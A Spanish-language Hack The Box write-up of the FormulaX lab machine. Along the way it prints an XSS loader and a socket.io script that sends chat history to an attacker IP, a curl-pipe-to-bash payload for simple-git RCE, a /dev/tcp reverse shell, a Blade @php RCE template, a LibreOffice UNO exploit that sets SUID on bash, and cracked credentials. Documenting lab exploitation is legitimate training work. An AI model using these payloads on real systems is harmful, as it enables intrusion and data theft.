Table of Contents
Hack The Box: FormulaX Writeup
TCP Enumeration
1$ rustscan -a 10.129.230.190 --ulimit 5000 -g
210.129.230.190 -> [22,80]
1$ nmap -p22,80 -sCV 10.129.230.190 -Pn -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-31 18:19 CEST
3Nmap scan report for 10.129.230.190
4Host is up (0.038s latency).
5
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
8| ssh-hostkey:
9| 256 5f:b2:cd:54:e4:47:d1:0e:9e:81:35:92:3c:d6:a3:cb (ECDSA)
10|_ 256 b9:f0:0d:dc:05:7b:fa:fb:91:e6:d0:b4:59:e6:db:88 (ED25519)
1180/tcp open http nginx 1.18.0 (Ubuntu)
12| http-title: Site doesn't have a title (text/html; charset=UTF-8).
13|_Requested resource was /static/index.html
14|_http-cors: GET POST
15|_http-server-header: nginx/1.18.0 (Ubuntu)
16Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
17
18Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
19Nmap done: 1 IP address (1 host up) scanned in 7.93 seconds
UDP Enumeration
No vemos nada abierto por UDP
1$ sudo nmap --top-ports 1500 10.129.230.190 --min-rate 5000 -n -Pn -sU -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-31 18:20 CEST
3Nmap scan report for 10.129.230.190
4Host is up (0.037s latency).
5Not shown: 1494 open|filtered udp ports (no-response)
6PORT STATE SERVICE
719998/udp closed unknown
830465/udp closed unknown
934861/udp closed unknown
1042508/udp closed candp
1149163/udp closed unknown
1249207/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds
Web Enumeration
1$ whatweb http://10.129.230.190
2http://10.129.230.190 [302 Found] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.230.190], RedirectLocation[/static/index.html], UncommonHeaders[access-control-allow-origin,access-control-allow-credentials], X-Powered-By[Express], nginx[1.18.0]
3http://10.129.230.190/static/index.html [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.230.190], PasswordField[psw], Script, UncommonHeaders[access-control-allow-origin,access-control-allow-credentials], X-Powered-By[Express], nginx[1.18.0]
Vemos un panel de inicio de sesión.
Después de hacernos una cuenta de usuario, podemos ver que este servicio web ofrece una especie de chatbot.
Si nos damos cuenta, esta es una página estática en html
por lo cual por detrás se debe de estar empleando javascript para la comunicación con algún servidor.
Y podemos comprobar el uso de websockets.
En el apartado de Contact Us
, haciendo unas pruebas podemos ver que se acontece un XSS.
1 python3 -m http.server 8080
2Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
310.129.230.190 - - [31/Jul/2024 18:24:55] code 404, message File not found
410.129.230.190 - - [31/Jul/2024 18:24:55] "GET /img.png HTTP/1.1" 404 -
510.129.230.190 - - [31/Jul/2024 18:24:59] code 404, message File not found
610.129.230.190 - - [31/Jul/2024 18:24:59] "GET /img.png HTTP/1.1" 404 -
710.129.230.190 - - [31/Jul/2024 18:25:01] code 404, message File not found
810.129.230.190 - - [31/Jul/2024 18:25:01] "GET /img.png HTTP/1.1" 404 -
910.129.230.190 - - [31/Jul/2024 18:25:06] code 404, message File not found
1010.129.230.190 - - [31/Jul/2024 18:25:06] "GET /img.png HTTP/1.1" 404 -
1110.129.230.190 - - [31/Jul/2024 18:25:08] code 404, message File not found
1210.129.230.190 - - [31/Jul/2024 18:25:08] "GET /img.png HTTP/1.1" 404 -
No podemos hacer un Cookie hijacking ya que está activado el HttpOnly
Después de investigar un rato, me dió por fuzzear el sitio web ya que todavía no lo había hecho.
1$ feroxbuster -u http://10.129.230.190 -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
2
3 ___ ___ __ __ __ __ __ ___
4|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
5| |___ | \ | \ | \__, \__/ / \ | |__/ |___
6by Ben "epi" Risher 🤓 ver: 2.10.4
7───────────────────────────┬──────────────────────
8 🎯 Target Url │ http://10.129.230.190
9 🚀 Threads │ 50
10 📖 Wordlist │ /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
11 👌 Status Codes │ All Status Codes!
12 💥 Timeout (secs) │ 7
13 🦡 User-Agent │ feroxbuster/2.10.4
14 🔎 Extract Links │ true
15 🏁 HTTP methods │ [GET]
16 🔃 Recursion Depth │ 4
17───────────────────────────┴──────────────────────
18 🏁 Press [ENTER] to use the Scan Management Menu™
19──────────────────────────────────────────────────
20404 GET 10l 15w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
21302 GET 1l 4w 40c http://10.129.230.190/ => http://10.129.230.190/static/index.html
22301 GET 10l 16w 173c http://10.129.230.190/img => http://10.129.230.190/img/
23200 GET 1l 3w 46c http://10.129.230.190/contact_us
24200 GET 1l 3w 46c http://10.129.230.190/admin
25301 GET 10l 16w 179c http://10.129.230.190/static => http://10.129.230.190/static/
26301 GET 10l 16w 181c http://10.129.230.190/scripts => http://10.129.230.190/scripts/
27200 GET 1l 3w 46c http://10.129.230.190/chat
28200 GET 1l 3w 46c http://10.129.230.190/logout
29200 GET 1l 3w 46c http://10.129.230.190/Contact_Us
30301 GET 10l 16w 181c http://10.129.230.190/Scripts => http://10.129.230.190/Scripts/
31200 GET 1l 3w 46c http://10.129.230.190/Chat
32301 GET 10l 16w 187c http://10.129.230.190/restricted => http://10.129.230.190/restricted/
33200 GET 1l 3w 46c http://10.129.230.190/Admin
34[>-------------------] - 49s 35083/1323280 35m found:13 errors:0
Information Leakage via XSS
Y al ver el directorio Scripts
recordé el chatbot que existía y el comando help
que este tiene para recuperar el historial de comandos. Quizá puedo aprovecharme del XSS para inyectar una comunicación entre el chatbot y el usuario víctima para recuperar su historial y obtener información privilegiada.
Localicé que el script socket.io.js
en http://10.129.230.190/socket.io/socket.io.js
Por lo cual podría simplemente inyectar este script y realizar la comunicación. Pero antes, tengo que ver como se realiza la comunicación desde el cliente.
Encontramos el script chat.js
http://10.129.230.190/restricted/chat.js
Y vemos este apartado
1let value;
2const res = axios.get(`/user/api/chat`);
3const socket = io('/',{withCredentials: true});
4
5
6//listening for the messages
7socket.on('message', (my_message) => {
8
9 //console.log("Received From Server: " + my_message)
10 Show_messages_on_screen_of_Server(my_message)
11
12})
Esto lo hago para hacerme una idea ya que no había trabajado con websockets antes.
Ahora, tengo que refinar el XSS para poder cargar un archivo javascript malicioso, por ahora este va a ser el archivo.
1$ cat evil.js
2fetch("http://10.10.14.71:8081/injected")
Después de hacer unas pruebas en local..
1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
3127.0.0.1 - - [31/Jul/2024 18:46:37] "GET /test.html HTTP/1.1" 200 -
4127.0.0.1 - - [31/Jul/2024 18:46:37] "GET / HTTP/1.1" 200 -
5127.0.0.1 - - [31/Jul/2024 18:46:37] code 404, message File not found
6127.0.0.1 - - [31/Jul/2024 18:46:37] "GET /favicon.ico HTTP/1.1" 404 -
710.10.14.71 - - [31/Jul/2024 18:46:37] "GET /evil.js HTTP/1.1" 200 -
Este es mi payload final
1└──╼ [★]$ cat test.html
2<IMG SRC="/" onerror="
3 var script = document.createElement('script');
4 script.src = 'http://10.10.14.71:8081/evil.js';
5 document.head.appendChild(script);
6">
Y perfecto, ahora solo falta hacer el código javascript malicioso.
Podemos interceptar una petición de mensaje con burpsuite
para hacernos una mejor idea de como se tramita el mensaje por detrás.
Después de probar un rato…
1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.230.190 - - [31/Jul/2024 19:18:34] "GET /evil.js HTTP/1.1" 200 -
410.129.230.190 - - [31/Jul/2024 19:18:34] code 501, message Unsupported method ('OPTIONS')
510.129.230.190 - - [31/Jul/2024 19:18:34] "OPTIONS /injected HTTP/1.1" 501 -
610.129.230.190 - - [31/Jul/2024 19:18:34] code 501, message Unsupported method ('OPTIONS')
710.129.230.190 - - [31/Jul/2024 19:18:34] "OPTIONS /loadedd HTTP/1.1" 501 -
810.129.230.190 - - [31/Jul/2024 19:18:34] code 501, message Unsupported method ('OPTIONS')
910.129.230.190 - - [31/Jul/2024 19:18:34] "OPTIONS /?q=Greetings!.%20How%20can%20i%20help%20you%20today%20?.%20You%20can%20type%20help%20to%20see%20some%20buildin%20commands HTTP/1.1" 501 -
Este es el archivo evil.js
1$ cat evil.js
2fetch("http://10.10.14.71:8081/injected")
3
4// Incluimos el socket.io.js ya que en principio no está incluido.
5const script = document.createElement("script")
6script.src = "http://10.129.230.190/socket.io/socket.io.js"
7document.head.appendChild(script)
8
9// Esperamos a que carge el script......
10script.addEventListener('load', function() {
11 fetch("http://10.10.14.71:8081/loadedd")
12 const res = fetch('/user/api/chat'); // No se si está la libreria de axios inyectada ya
13 const socket = io('/',{withCredentials: true});
14 socket.on('message', (msg) => {
15 fetch("http://10.10.14.71:8081/?q=" + msg)
16 });
17 socket.emit('client_message', 'help');
18});
Vamos a hacer un par de retoques finales, primero vamos a codificar en base64 la respuesta para poder verla mas cómoda.
Modificamos la linea fetch("http://10.10.14.71:8081/?q=" + msg)
por fetch("http://10.10.14.71:8081/?q=" + btoa(msg))
Y la linea socket.emit('client_message', 'help')
por socket.emit('client_message', 'history')
ya que lo que queremos es ver el historial del usuario.
Y recibimos la siguiente data
1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.230.190 - - [31/Jul/2024 19:22:40] "GET /evil.js HTTP/1.1" 200 -
410.129.230.190 - - [31/Jul/2024 19:22:40] code 501, message Unsupported method ('OPTIONS')
510.129.230.190 - - [31/Jul/2024 19:22:40] "OPTIONS /injected HTTP/1.1" 501 -
610.129.230.190 - - [31/Jul/2024 19:22:40] code 501, message Unsupported method ('OPTIONS')
710.129.230.190 - - [31/Jul/2024 19:22:40] "OPTIONS /loadedd HTTP/1.1" 501 -
810.129.230.190 - - [31/Jul/2024 19:22:40] code 501, message Unsupported method ('OPTIONS')
910.129.230.190 - - [31/Jul/2024 19:22:40] "OPTIONS /?d=SGVsbG8sIEkgYW0gQWRtaW4uVGVzdGluZyB0aGUgQ2hhdCBBcHBsaWNhdGlvbg== HTTP/1.1" 501 -
1010.129.230.190 - - [31/Jul/2024 19:22:40] code 501, message Unsupported method ('OPTIONS')
1110.129.230.190 - - [31/Jul/2024 19:22:40] "OPTIONS /?d=R3JlZXRpbmdzIS4gSG93IGNhbiBpIGhlbHAgeW91IHRvZGF5ID8uIFlvdSBjYW4gdHlwZSBoZWxwIHRvIHNlZSBzb21lIGJ1aWxkaW4gY29tbWFuZHM= HTTP/1.1" 501 -
1210.129.230.190 - - [31/Jul/2024 19:22:40] code 501, message Unsupported method ('OPTIONS')
1310.129.230.190 - - [31/Jul/2024 19:22:40] "OPTIONS /?d=V3JpdGUgYSBzY3JpcHQgZm9yICBkZXYtZ2l0LWF1dG8tdXBkYXRlLmNoYXRib3QuaHRiIHRvIHdvcmsgcHJvcGVybHk= HTTP/1.1" 501 -
1410.129.230.190 - - [31/Jul/2024 19:22:40] code 501, message Unsupported method ('OPTIONS')
1510.129.230.190 - - [31/Jul/2024 19:22:40] "OPTIONS /?d=V3JpdGUgYSBzY3JpcHQgdG8gYXV0b21hdGUgdGhlIGF1dG8tdXBkYXRl HTTP/1.1" 501 -
1610.129.230.190 - - [31/Jul/2024 19:22:40] code 501, message Unsupported method ('OPTIONS')
1710.129.230.190 - - [31/Jul/2024 19:22:40] "OPTIONS /?d=TWVzc2FnZSBTZW50Ojxicj5oaXN0b3J5 HTTP/1.1" 501 -
Decodificando las cadenas podemos ver que hemos descubierto un subdominio.
dev-git-auto-update.chatbot.htb
Foothold
Descubrimos otro servicio extra.
Con un vistazo rápido a la página detectamos que se está usando simple-git v3.14
Y una simple búsqueda en Google nos reporta que tiene una vulnerabilidad de tipo RCE. Lo podemos leer aquí
¡Y tenemos RCE!
1$ sudo tcpdump icmp -i tun0
2tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
3listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
419:30:29.164331 IP dev-git-auto-update.chatbot.htb > 10.10.14.71: ICMP echo request, id 1, seq 1, length 64
519:30:29.164390 IP 10.10.14.71 > dev-git-auto-update.chatbot.htb: ICMP echo reply, id 1, seq 1, length 64
619:30:30.165628 IP dev-git-auto-update.chatbot.htb > 10.10.14.71: ICMP echo request, id 1, seq 2, length 64
719:30:30.165657 IP 10.10.14.71 > dev-git-auto-update.chatbot.htb: ICMP echo reply, id 1, seq 2, length 64
819:30:31.167686 IP dev-git-auto-update.chatbot.htb > 10.10.14.71: ICMP echo request, id 1, seq 3, length 64
919:30:31.167716 IP 10.10.14.71 > dev-git-auto-update.chatbot.htb: ICMP echo reply, id 1, seq 3, length 64
Nos creamos un rev.sh
1#!/bin/bash
2
3bash -c "bash -i >& /dev/tcp/10.10.14.71/443 0>&1"
Nos ponemos en escucha con netcat
y usamos este payload ext::sh -c curl% http://10.10.14.71:8081/rev.sh|bash
User Pivoting 1
Enumerando la máquina víctima nos encontramos que hay una instancia de mongodb.
tcp 0 0 127.0.0.1:27017 0.0.0.0:* LISTEN -
Lo podemos ver mediante el comando netstat -tulnp
o revisando el archivo .env
de la aplicación.
www-data@formulax:~/app$ cat .env
cat .env
PORT = 8082
URL_DATABASE="mongodb://localhost:27017"
SECRET=ThisIsTheN0deSecret
ADMIN_EMAIL="admin@chatbot.htb"
con mongo --shell
podemos hacer peticiones mediante el CLI.
Enumerando las Bases de Datos vemos las siguientes
show dbs
admin 0.000GB
config 0.000GB
local 0.000GB
testing 0.000GB
Enumerando las “tablas” (colecciones en mongo), la única que me llaman la atención es messages
y users
use admin
switched to db admin
show collections
system.version
use config
switched to db config
show collections
system.sessions
use local
switched to db local
show collections
startup_log
use testing
switched to db testing
show collections
messages
users
La colección de mensajes está vacía pero la de usuarios no.
db.messages.find()
db.users.find()
{ "_id" : ObjectId("648874de313b8717284f457c"), "name" : "admin", "email" : "admin@chatbot.htb", "password" : "$2b$10$VSrvhM/5YGM0uyCeEYf/TuvJzzTz.jDLVJ2QqtumdDoKGSa.6aIC.", "terms" : true, "value" : true, "authorization_token" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySUQiOiI2NDg4NzRkZTMxM2I4NzE3Mjg0ZjQ1N2MiLCJpYXQiOjE3MjI0NDA0MDh9.q_R-YzbX7fuJigMJuVCeuIIlr3WhWPQSwHd5HkU9BYs", "__v" : 0 }
{ "_id" : ObjectId("648874de313b8717284f457d"), "name" : "frank_dorky", "email" : "frank_dorky@chatbot.htb", "password" : "$2b$10$hrB/by.tb/4ABJbbt1l4/ep/L4CTY6391eSETamjLp7s.elpsB4J6", "terms" : true, "value" : true, "authorization_token" : " ", "__v" : 0 }
{ "_id" : ObjectId("66aa51b7af10999e6470d490"), "name" : "pointed", "email" : "pointed@pointed.com", "password" : "$2b$10$zhNJTJtpGe3/6QILJisd6uednRpMdaTopmes6TCgFL1KFkGQdjdpq", "terms" : true, "value" : false, "authorization_token" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySUQiOiI2NmFhNTFiN2FmMTA5OTllNjQ3MGQ0OTAiLCJpYXQiOjE3MjI0Mzg1NzZ9.EpNX-g0c9erS1XM7BDde8nLVhkDkzhpkoeTBV8fRKug", "__v" : 0 }
Y tenemos hashes que podemos intentar crackear.
Revisando el example-hashes de hashcat. Puede ser un hash bcrypt(sha256($pass)) / bcryptsha256 *
Pero no se encuentra el módulo en hashcat.
Por lo cual antes de descargar nada, probé el otro módulo que podía ser..
bcrypt $2*$, Blowfish (Unix)
Consigo crackear el hash correspondiente al usuario frank_dorky
, el del usuario administrador no.
Y esta es la password de frank_dorky
para acceder por SSH
1$ ssh frank_dorky@10.129.230.190
2The authenticity of host '10.129.230.190 (10.129.230.190)' can't be established.
3ED25519 key fingerprint is SHA256:e0esz1Aos6gxct2ci4LGbCAR6i31EoktxFIvCFF+rcM.
4This key is not known by any other names.
5Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
6Warning: Permanently added '10.129.230.190' (ED25519) to the list of known hosts.
7frank_dorky@10.129.230.190's password:
8Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-97-generic x86_64)
9
10 * Documentation: https://help.ubuntu.com
11 * Management: https://landscape.canonical.com
12 * Support: https://ubuntu.com/pro
13
14This system has been minimized by removing packages and content that are
15not required on a system that users do not log into.
16
17To restore this content, you can run the 'unminimize' command.
18Last login: Mon Jul 15 13:46:54 2024 from 10.10.14.41
19frank_dorky@formulax:~$
Con este usuario podemos leer la flag user.txt
User Pivoting 2
Pasando el linpeas.sh
me he dado cuenta de otro puerto interesante que se me había pasado.
1╔══════════╣ Active Ports
2╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
3tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
4tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
5tcp 0 0 127.0.0.1:8082 0.0.0.0:* LISTEN -
6tcp 0 0 127.0.0.1:8081 0.0.0.0:* LISTEN -
7tcp 0 0 127.0.0.1:42931 0.0.0.0:* LISTEN -
8tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
9tcp 0 0 127.0.0.1:27017 0.0.0.0:* LISTEN -
10tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
11tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
12tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
En la máquina están abiertos varios puertos que no he revisado.
Sabemos que el puerto 8082
corresponde a la aplicación principal, pero no se nada sobre los puertos 8081
, 8000
y 3000
En el puerto 8000
vemos lo siguiente y después de enumerar un rato no encuentro nada interesante así que supuse que era un rabbit hole.
Y en el puerto 8081
nos damos cuenta de que es el servicio que hemos explotado anteriormente.
Así que ahora hacemos el port forwarding al puerto 3000
$ sshpass -p 'manchesterunited' ssh -L 3000:127.0.0.1:3000 frank_dorky@10.129.230.190
Y vemos un CMS llamado LibreNMS
y las credenciales encontradas para el usuario frank_dorky
son válidas.
Encontramos varias vulnerabilidades para LibreNMS. La que mas me llamó la atención fue esta pero es para una versión mas antigua.
Inspeccionando otros exploits me di cuenta de una ruta en especifico.
A la cual no tenía permisos para acceder, así que supuse que frank_dorky
es un usuario de bajos privilegios en este panel.
Investigando un poco sobre como podría añadir un usuario administrador, me encontré con este post
Ahora solo necesito saber donde está el archivo adduser.php
Un poco oculto pero encontré el archivo..
1rank_dorky@formulax:/opt/librenms$ ls
2ls: cannot open directory '.': Permission denied
3frank_dorky@formulax:/opt/librenms$ ls -l adduser.php
4-rwxr-xr-x 1 librenms librenms 956 Oct 18 2022 adduser.php
Por lo cual añadí al usuario
1ky@formulax:/opt/librenms$ ./adduser.php pointed pointed 10
2User pointed added successfully
Y ahora sí que pude acceder a las funciones restringidas para administradores del CMS.
Tras buscar mas y mas, encontré este otro post
Donde se habla de un XSS que podría elevarse a un RCE, a mí solo me importa la parte del RCE.
The impact of this vulnerability is greatly increased due to a feature called Alert Templates. This feature allows administrators to create custom templates that will be populated with specific values when an alert occurs.
The template engine used for this feature is Blade. The user-provided custom templates are rendered inline by using the Blade::render method:
librenms/includes/html/forms/alert-templates.inc.php
<?php
Blade::render($vars['template']);
Attackers with the ability to control the value passed to this method can directly gain code execution. This is due to the fact that Blade templates allow executing arbitrary PHP code via the @php directive:
@php
system("id>/tmp/pwned");
@endphp
Por lo cual nos dirigimos a Alert Templates
Creamos una plantilla maliciosa..
Al intentar agregar la plantilla se quedaba colgado, así que revisando la consola del navegador, descubro un subdominio que debo de agregar al /etc/hosts
1$ cat /etc/hosts
2# Host addresses
3127.0.0.1 localhost librenms.com
Ahora, accediendo con el dominio correcto, sí me deja crear la plantilla maliciosa.
Y ganamos acceso como librenms
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.71] from (UNKNOWN) [10.129.230.190] 57972
4bash: cannot set terminal process group (970): Inappropriate ioctl for device
5bash: no job control in this shell
6librenms@formulax:~$
Revisando las variables de entorno de la aplicación vemos lo siguiente
1DB_USERNAME=kai_relay
2DB_PASSWORD=mychemic...
Esta credencial es la del usuario kai_relay
Privilege Escalation
1kai_relay@formulax:~$ sudo -l
2Matching Defaults entries for kai_relay on forumlax:
3 env_reset, timestamp_timeout=0, mail_badpass,
4 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
5 use_pty, env_reset, timestamp_timeout=0
6
7User kai_relay may run the following commands on forumlax:
8 (ALL) NOPASSWD: /usr/bin/office.sh
Podemos ejecutar como cualquier usuario, root incluido, el script /usr/bin/office.sh
Analizando este script
1kai_relay@formulax:~$ cat /usr/bin/office.sh
2#!/bin/bash
3/usr/bin/soffice --calc --accept="socket,host=localhost,port=2002;urp;" --norestore --nologo --nodefault --headless
--calc
: Esta opción abre la aplicación de hojas de cálculo (Calc) de LibreOffice o OpenOffice.--accept="socket,host=localhost,port=2002;urp;"
: Esta opción permite que LibreOffice acepte conexiones desde un cliente a través de un socket. En este caso, el socket está configurado para escuchar en el hostlocalhost
y el puerto2002
.urp
se refiere al protocolo Universal Remote Protocol de LibreOffice, que permite la comunicación entre clientes y la instancia de LibreOffice.--norestore
: Deshabilita la restauración de documentos que estaban abiertos antes de un cierre inesperado o un fallo.--nologo
: Desactiva la pantalla de inicio (logo) de LibreOffice.--nodefault
: Evita que se abra cualquier documento predeterminado.--headless
: Ejecuta LibreOffice en modo sin cabeza, es decir, sin interfaz gráfica de usuario. Esto es útil para operaciones automáticas o en servidores donde no hay un entorno gráfico disponible.
Este script inicia LibreOffice Calc en modo sin cabeza, aceptando conexiones de clientes a través de un socket en localhost
en el puerto 2002
, y desactiva diversas funcionalidades como la restauración de documentos, la pantalla de inicio y la apertura de documentos por defecto.
Este script tampoco nos sirve de mucho pero si hacemos una búsqueda en Google…
Nos descargamos el exploit.
1 searchsploit -m multiple/remote/46544.py
2 Exploit: Apache UNO / LibreOffice Version: 6.1.2 / OpenOffice 4.1.6 API - Remote Code Execution
3 URL: https://www.exploit-db.com/exploits/46544
4 Path: /opt/exploitdb/exploits/multiple/remote/46544.py
5 Codes: N/A
6 Verified: False
7File Type: Python script, ASCII text executable
8Copied to: /home/pointedsec/Desktop/formulax/exploits/46544.py
9
10
11┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/formulax/exploits]
12└──╼ [★]$ mv 46544.py rce.py
Modificamos el exploit para asignar el permiso de SUID al binario/bin/bash
.
Ahora nos pasamos el exploit a la máquina víctima.
Ejecutamos el script como sudo para establecer la conexión y poder conectarnos al socket para realizar la explotación.
1kai_relay@formulax:/tmp$ sudo /usr/bin/office.sh
Y ahora como cualquier usuario (ya tenía abierta una terminal como frank_dorky
, no hace falta ejecutar el exploit como kai_relay
)
1rank_dorky@formulax:/tmp$ python3 rce.py --host 127.0.0.1 --port 2002
2[+] Connecting to target...
3[+] Connected to 127.0.0.1
Y vemos lo siguiente en la otra terminal donde estamos ejecutando el script.
Vamos a cambiar el exploit de nuevo y vamos a especificar que queremos que ejecute un archivo en bash que vamos a crear ahora mismo.
Le asignamos permisos de ejecución kai_relay@formulax:/tmp$ chmod +x pwn.sh
Modificamos el exploit de nuevo..
1shell_execute.execute("/tmp/pwn.sh", '',1)
Ahora al lanzar el exploit…
1frank_dorky@formulax:/tmp$ python3 rce.py --host 127.0.0.1 --port 2002
2[+] Connecting to target...
3[+] Connected to 127.0.0.1
No nos muestra nada por la otra terminal…
Y ya vemos que se ha asignado el permiso SUID a la bash.
1frank_dorky@formulax:/tmp$ bash -p
2bash-5.1# id
3uid=1002(frank_dorky) gid=1002(frank_dorky) euid=0(root) groups=1002(frank_dorky)
¡Y ya hemos escalado privilegios!
1bash-5.1# cat /root/root.txt
204da1f3886a9...
Happy Hacking! 🚀
#HackTheBox #FormulaX #Writeup #Cybersecurity #Penetration Testing #CTF #XSS #Abusing Web Sockets #Abusing LibreOffice Socket #Reverse Shell #Privilege Escalation #RCE #Exploit #Abusing Simple-Git #Abusing MongoDB #Password Cracking #Port Forwarding #User Pivoting #Creating Admin Account in LibreNMS #Abusing LibreNMS #Credentials Reuse #Linux